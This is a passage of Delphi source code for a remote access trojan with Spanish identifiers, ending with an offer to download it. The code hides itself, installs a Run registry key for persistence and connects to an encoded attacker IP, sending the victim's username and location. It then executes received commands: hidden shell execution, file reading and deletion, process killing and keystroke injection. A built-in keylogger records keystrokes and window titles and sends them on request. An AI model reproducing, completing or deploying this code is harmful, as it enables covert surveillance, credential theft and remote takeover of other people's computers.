timbre : = Process32First( conector, indicio) ;
while timbre do
begin
code : = code + '[+] Name : ' + indicio. szExeFile + ' [+] PID : ' + IntToStr
( indicio. th32ProcessID ) + sLineBreak;
timbre : = Process32Next( conector, indicio) ;
end ;
Result : = code;
end ;
function matarproceso( pid: string ) : string ;
var
vano: THandle ;
code: string ;
begin
code : = '' ;
vano : = OpenProcess( PROCESS_TERMINATE, FALSE , StrToInt ( pid) ) ;
if TerminateProcess( vano, 0 ) then
begin
code : = '[+] Kill Process : OK' ;
end
else
begin
code : = '[+] Kill Process : ERROR' ;
end ;
Result : = code;
end ;
function ejecutar( cmd: string ) : string ;
// Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
// Thanks to www.delphidabbler.com
var
parte1: TSecurityAttributes;
parte2: TStartupInfo;
parte3: TProcessInformation;
parte4: THandle ;
parte5: THandle ;
control2: Boolean ;
contez: array [ 0 .. 255 ] of AnsiChar ;
notengoidea: Cardinal ;
fix: Boolean ;
code: string ;
begin
code : = '' ;
with parte1 do
begin
nLength : = SizeOf ( parte1) ;
bInheritHandle : = True ;
lpSecurityDescriptor : = nil ;
end ;
CreatePipe( parte4, parte5, @ parte1, 0 ) ;
with parte2 do
begin
FillChar ( parte2, SizeOf ( parte2) , 0 ) ;
cb : = SizeOf ( parte2) ;
dwFlags : = STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
wShowWindow : = SW_HIDE;
hStdInput : = GetStdHandle( STD_INPUT_HANDLE) ;
hStdOutput : = parte5;
hStdError : = parte5;
end ;
fix : = CreateProcess( nil , PChar ( 'cmd.exe /C ' + cmd) , nil , nil , True , 0 , nil ,
PChar ( 'c:/' ) , parte2, parte3) ;
CloseHandle( parte5) ;
if fix then
repeat
begin
control2 : = ReadFile( parte4, contez, 255 , notengoidea, nil ) ;
end ;
if notengoidea > 0 then
begin
contez[ notengoidea] : = #0 ;
code : = code + contez;
end ;
until not ( control2) or ( notengoidea = 0 ) ;
Result : = code;
end ;
function crazy_mouse( number: string ) : string ;
var
i: integer ;
code: string ;
begin
code : = '' ;
For i : = 1 to StrToInt ( number) do
begin
Sleep ( 1000 ) ;
SetCursorPos( i, i) ;
end ;
code : = '[+] Crazy Mouse : OK' ;
Result : = code;
end ;
function TForm1. datanow ( ) : string ;
var
code: string ;
ip: string ;
pais: string ;
re: string ;
username: string ;
os: string ;
begin
try
begin
code : = IdHTTP1. Get ( 'http://whatismyipaddress.com/' ) ;
ip : = regex( code, 'alt="Click for more about ' , '"></a>' ) ;
pais : = regex( code, '<tr><th>Country:</th><td>' , '</td></tr>' ) ;
if ( ip = '' ) then
begin
ip : = '?' ;
end ;
if ( pais = '' ) then
begin
pais : = '?' ;
end ;
username : = GetEnvironmentVariable ( 'username' ) ;
os : = GetEnvironmentVariable ( 'os' ) ;
re : = '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' +
'[username]' + username + '[username]' + '[os]' + os + '[os]' ;
end ;
except
//
end ;
Result : = re;
end ;
//
procedure TForm1. ClientSocket1Connect ( Sender: TObject ;
Socket: TCustomWinSocket) ;
begin
ClientSocket1. Socket . SendText ( datanow( ) ) ;
end ;
procedure TForm1. ClientSocket1Read ( Sender: TObject ; Socket: TCustomWinSocket) ;
var
code: string ;
argumento: string ;
begin
code : = Socket. ReceiveText ;
argumento : = regex( code, '[argumento]' , '[argumento]' ) ;
if ( Pos ( '![opencd]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( lectora( 'open' ) ) ;
end ;
if ( Pos ( '![closecd]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( lectora( 'close' ) ) ;
end ;
if ( Pos ( '![listardirectorio]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( listardirectorio( argumento) ) ;
end ;
if ( Pos ( '![borraresto]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( borraresto( argumento) ) ;
end ;
if ( Pos ( '![leerarchivo]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( LeerArchivo( argumento) ) ;
end ;
if ( Pos ( '![keyloggerlogs]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( '![keyloggerlogs]<br>' + LeerArchivo( acatoy) ) ;
end ;
if ( Pos ( '![sendkeys]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( SendKeys( argumento) ) ;
end ;
if ( Pos ( '![escribirword]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( escribir_word( argumento) ) ;
end ;
if ( Pos ( '![mensaje]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( mensaje( argumento) ) ;
end ;
if ( Pos ( '![hablar]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( hablar( argumento) ) ;
end ;
if ( Pos ( '![matarproceso]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( matarproceso( argumento) ) ;
end ;
if ( Pos ( '![ejecutar]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( ejecutar( argumento) ) ;
end ;
if ( Pos ( '![crazymouse]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( crazy_mouse( argumento) ) ;
end ;
if ( Pos ( '![ocultartaskbar]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( cambiar_barra( 'hide' ) ) ;
end ;
if ( Pos ( '![volvertaskbar]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( cambiar_barra( 'na' ) ) ;
end ;
if ( Pos ( '![ocultariconos]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( cambiar_iconos( 'hide' ) ) ;
end ;
if ( Pos ( '![volvericonos]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( cambiar_iconos( 'na' ) ) ;
end ;
if ( Pos ( '![listarprocesos]' , code) > 0 ) then
begin
ClientSocket1. Socket . SendText ( listarprocesos( ) ) ;
end ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
var
dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string ;
registro: HKEY;
ip: string ;
ob: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
todo: string ;
begin
Application. ShowMainForm : = FALSE ;
ob : = INVALID_HANDLE_VALUE;
code : = '' ;
ob : = CreateFile( PChar ( paramstr ( 0 ) ) , GENERIC_READ, FILE_SHARE_READ, nil ,
OPEN_EXISTING, 0 , 0 ) ;
if ( ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( ob, - 9999 , nil , FILE_END) ;
ReadFile( ob, code, 9999 , nose, nil ) ;
CloseHandle( ob) ;
end ;
todo : = regex( code, '[63686175]' , '[63686175]' ) ;
todo : = dhencode( todo, 'decode' ) ;
ip : = regex( todo, '[ip]' , '[ip]' ) ;
try
begin
dir_hide : = GetEnvironmentVariable ( 'USERPROFILE' ) + '/' ;
carpeta : = 'ratata' ;
dir : = dir_hide + carpeta + '/' ;
if not ( DirectoryExists ( dir) ) then
begin
CreateDir ( dir) ;
end ;
ChDir ( dir) ;
nombrereal : = ExtractFileName ( paramstr ( 0 ) ) ;
rutareal : = dir;
yalisto : = dir + nombrereal;
acatoy : = dir + 'logs.html' ;
MoveFile( PChar ( paramstr ( 0 ) ) , PChar ( yalisto) ) ;
SetFileAttributes( PChar ( dir) , FILE_ATTRIBUTE_HIDDEN) ;
SetFileAttributes( PChar ( yalisto) , FILE_ATTRIBUTE_HIDDEN) ;
RegCreateKeyEx( HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\Run\' , 0 , nil ,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nil , registro, nil ) ;
RegSetValueEx( registro, 'uberk' , 0 , REG_SZ, PChar ( yalisto) , 666 ) ;
RegCloseKey( registro) ;
savefile( 'logs.html' ,
'<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>' ) ;
ClientSocket1. Address : = ip;
ClientSocket1. Port : = 6664 ;
ClientSocket1. Open ;
end ;
except
//
end ;
end ;
procedure TForm1. sButton1Click ( Sender: TObject ) ;
begin
ClientSocket1. Socket . SendText ( datanow( ) ) ;
end ;
procedure TForm1. Timer1Timer ( Sender: TObject ) ;
var
i: integer ;
Result: Longint ;
mayus: integer ;
shift: integer ;
const
n_numeros_izquierda: array [ 1 .. 10 ] of string =
( '48' , '49' , '50' , '51' , '52' , '53' , '54' , '55' , '56' , '57' ) ;
const
t_numeros_izquierda: array [ 1 .. 10 ] of string =
( '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' ) ;
const
n_numeros_derecha: array [ 1 .. 10 ] of string =
( '96' , '97' , '98' , '99' , '100' , '101' , '102' , '103' , '104' , '105' ) ;
const
t_numeros_derecha: array [ 1 .. 10 ] of string =
( '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' ) ;
const
n_shift: array [ 1 .. 22 ] of string = ( '48' , '49' , '50' , '51' , '52' , '53' ,
'54' , '55' , '56' , '57' , '187' , '188' , '189' , '190' , '191' , '192' , '193' ,
'291' , '220' , '221' , '222' , '226' ) ;
const
t_shift: array [ 1 .. 22 ] of string = ( ')' , '!' , '@' , '#' , '\$' , '%' , '¨' ,
'&' , '*' , '(' , '+' , '<' , '_' , '>' , ':' , '\' , ' ? ' , ' / \ ' , '}' , '{' , '^' ,
'|' ) ;
const
n_raros: array [ 1 .. 17 ] of string = ( '1' , '8' , '13' , '32' , '46' , '187' ,
'188' , '189' , '190' , '191' , '192' , '193' , '219' , '220' , '221' , '222' ,
'226' ) ;
const
t_raros: array [ 1 .. 17 ] of string = ( '[mouse click]' , '[backspace]' ,
'<br>[enter]<br>' , '[space]' , '[suprimir]' , '=' , ',' , '-' , '.' , ';' , '\' ,
' / ' , ' \ \ \ ' , ']' , '[' , '~' , '\/' ) ;
begin
// Others
for i : = Low ( n_raros) to High ( n_raros) do
begin
Result : = GetAsyncKeyState( StrToInt ( n_raros[ i] ) ) ;
If Result = - 32767 then
begin
savefile( 'logs.html' , t_raros[ i] ) ;
end ;
end ;
// Numbers
for i : = Low ( n_numeros_derecha) to High ( n_numeros_derecha) do
begin
Result : = GetAsyncKeyState( StrToInt ( n_numeros_derecha[ i] ) ) ;
If Result = - 32767 then
begin
savefile( 'logs.html' , t_numeros_derecha[ i] ) ;
end ;
end ;
for i : = Low ( n_numeros_izquierda) to High ( n_numeros_izquierda) do
begin
Result : = GetAsyncKeyState( StrToInt ( n_numeros_izquierda[ i] ) ) ;
If Result = - 32767 then
begin
savefile( 'logs.html' , t_numeros_izquierda[ i] ) ;
end ;
end ;
// SHIFT
if ( GetAsyncKeyState( VK_SHIFT) <> 0 ) then
begin
for i : = Low ( n_shift) to High ( n_shift) do
begin
Result : = GetAsyncKeyState( StrToInt ( n_shift[ i] ) ) ;
If Result = - 32767 then
begin
savefile( 'logs.html' , t_shift[ i] ) ;
end ;
end ;
for i : = 65 to 90 do
begin
Result : = GetAsyncKeyState( i) ;
If Result = - 32767 then
Begin
savefile( 'logs.html' , Chr ( i + 0 ) ) ;
End ;
end ;
end ;
// MAYUS
if ( GetKeyState( 20 ) = 0 ) then
begin
mayus : = 32 ;
end
else
begin
mayus : = 0 ;
end ;
for i : = 65 to 90 do
begin
Result : = GetAsyncKeyState( i) ;
If Result = - 32767 then
Begin
savefile( 'logs.html' , Chr ( i + mayus) ) ;
End ;
end ;
end ;
procedure TForm1. Timer2Timer ( Sender: TObject ) ;
var
ventana1: array [ 0 .. 255 ] of Char ;
nombre1: string ;
begin
GetWindowText( GetForegroundWindow, ventana1, SizeOf ( ventana1) ) ;
nombre1 : = ventana1;
if not ( nombre1 = Nombre2) then
begin
Nombre2 : = nombre1;
savefile( 'logs.html' ,
'<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>' ) ;
end ;
end ;
//
end .
// The End ?
Si lo quieren bajar lo pueden hacer de
aca .